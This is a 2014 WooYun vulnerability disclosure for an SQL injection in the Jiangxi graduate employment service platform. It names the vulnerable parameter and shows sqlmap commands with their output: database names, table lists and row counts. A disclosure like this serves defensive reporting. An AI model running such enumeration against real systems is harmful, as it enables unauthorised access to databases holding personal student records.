漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-049261
漏洞标题：江西省高等院校毕业生就业公共服务平台一处SQL注射漏洞
相关厂商：江西省高等院校毕业生指导服务中心
漏洞作者： m_vptr
提交时间：2014-01-20 14:12
修复时间：2014-03-06 14:12
公开时间：2014-03-06 14:12
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-01-20： 细节已通知厂商并且等待厂商处理中
2014-01-25： 厂商已经确认，细节仅向厂商公开
2014-02-04： 细节向核心白帽子及相关领域专家公开
2014-02-14： 细节向普通白帽子公开
2014-02-24： 细节向实习白帽子公开
2014-03-06： 细节向公众公开
简要描述：
SQL注射漏洞
详细说明：
综合信息查询/报道证查询页面post表单，服务端没有对参数进行过滤。
cat cxbdzqk.raw
漏洞证明：
~/Security/sqlmap/sqlmap.py -r cxbdzqk.raw -p textName --dbs
available databases [15]:
[*] CarveOut
[*] Evaluate
[*] jsbm
[*] jxbys_dy
[*] jxbys_web
[*] jyb_agent
[*] master
[*] model
[*] msdb
[*] NewFpb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] xue_ji
[*] xx_bys
~/Security/sqlmap/sqlmap.py -r cxbdzqk.raw -p textName --tables -D NewFpb
[21:29:17] [INFO] fetching tables for database: NewFpb
Database: NewFpb
[136 tables]
+-----------------------------+
| D99_CMD |
| D99_REG |
| D99_Tmp |
| DIY_TEMPCOMMAND_TABLE |
| Domains |
| DummyTrans |
| ELMAH_Error |
| Nit成绩查询库 |
| Nit网上报名库 |
| Rooms |
| TABLE1 |
| UserAuthorizationTable |
| UserGroupAuthorizationTable |
| UserGroupTable |
| UserList |
| X_4695 |
| X_7911 |
| X_9483 |
| comd_list |
| dtproperties |
| jiaozhu |
| kill_kk |
| menu00 |
| menu_01 |
| menu_02 |
| onlinepoll |
| polloptions |
| t_jiaozhu |
| tbl_BX_信息表 |
| tbl_DY_交流消息表 |
| tbl_DY_信息表 |
| tbl_DY_党费缴纳情况表 |
| tbl_DY_公共信息表 |
| tbl_DY_公共栏目表 |
| tbl_DY_公共留言表 |
| tbl_DY_学生党员工作表 |
| tbl_DY_学生党员流动表 |
| tbl_DY_学生党员用户表 |
| tbl_DY_完整缴费表 |
| tbl_DY_栏目表 |
| tbl_DY_留言表 |
| tbl_DY_系统用户表 |
| tbl_de_公共信息表 |
| tbl_de_公共栏目表 |
| tbl_no_公告信息表 |
| tbl_no_公文信息表 |
| tbl_no_公文阅读信息表 |
| tbl_no_意见反馈表 |
| tbl_no_档案文件信息表 |
| tbl_no_省办信息表 |
| tbl_no_菜单信息表 |
| tbl_no_菜单权限设置表 |
| tbl_no_通讯录信息表 |
| tbl_no_问题类型表 |
| tbl_sc_专题发言表 |
| tbl_企业用户表 |
| tbl_地区信息表 |
| tbl_学生信息表 |
| v_信息表_栏目 |
| vew |
| vw_DY_公共栏目信息表 |
| vw_DY_留言信息表 |
| vw_de_公共栏目信息表 |
| vw_de_公共栏目信息表1 |
| vw_no_公告信息表 |
| vw_no_公告单位信息表 |
| vw_no_公文信息表 |
| vw_no_公文阅读信息表 |
| vw_no_单位树信息表 |
| vw_no_地市_学校单位信息表 |
| vw_no_就业文件柜 |
| vw_no_系统单位信息表 |
| vw_no_通讯录信息表 |
| vw_学校信息表 |
| vw_意见反馈表视图 |
| 专业代码表 |
| 专业信息表 |
| 代码表 |
| 信息表 |
| 公共信息_信息表 |
| 公共信息_栏目权限表 |
| 公共信息_栏目表 |
| 公告栏 |
| 办公文件表 |
| 功能模块权限表 |
| 功能模块表 |
| 单位收藏表 |
| 单位用户表 |
| 友情链接 |
| 学历代码表 |
| 学历层次代码表 |
| 学校代码2005 |
| 学校代码表 |
| 学校信息表 |
| 学校信息表_ |
| 学校用户表 |
| 学生收藏表 |
| 学生用户表 |
| 完整学生表 |
| 完整职位表 |
| 就业咨询表 |
| 就业指导 |
| 就业网用户表 |
| 意向表 |
| 批量招聘表 |
| 批量推荐表 |
| 报到证查询表 |
| 招生热线 |
| 招聘职位表 |
| 政务环境调查表 |
| 政治面貌代码表 |
| 政策法规信息表 |
| 文件表 |
| 栏目表 |
| 校内招聘信息表 |
| 档案管理表 |
| 求职信息表 |
| 洽谈在线表 |
| 洽谈房间表 |
| 洽谈言论表 |
| 用户授权表 |
| 用户组表 |
| 用户表 |
| 留言本_用户表 |
| 留言本_留言表 |
| 留言本_留言表_bk_20090717 |
| 系统用户表 |
| 系统配置表 |
| 统计表 |
| 综合信息 |
| 行政区划代码表 |
| 计数器 |
| 设区市信息表 |
| 设区市用户表 |
| 通讯簿 |
| 院系信息表 |
+-----------------------------+
~/Security/sqlmap/sqlmap.py -r cxbdzqk.raw -p textName -D NewFpb --count
Database: NewFpb
+-----------------+---------+
| Table | Entries |
+-----------------+---------+
| dbo.ELMAH_Error | 25608 |
| dbo.UserList | 341 |
| dbo.jiaozhu | 103 |
| dbo.kill_kk | 30 |
| dbo.D99_Tmp | 25 |
| dbo.menu00 | 23 |
| dbo.menu_01 | 18 |
| dbo.Rooms | 10 |
| dbo.menu_02 | 4 |
| dbo.D99_REG | 2 |
| dbo.Domains | 1 |
| dbo.DummyTrans | 1 |
| dbo.X_4695 | 1 |
| dbo.X_7911 | 1 |
| dbo.X_9483 | 1 |
+-----------------+---------+
修复方案：
过滤
版权声明：转载请注明来源 m_vptr@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2014-01-25 08:37
厂商回复：
最新状态：
暂无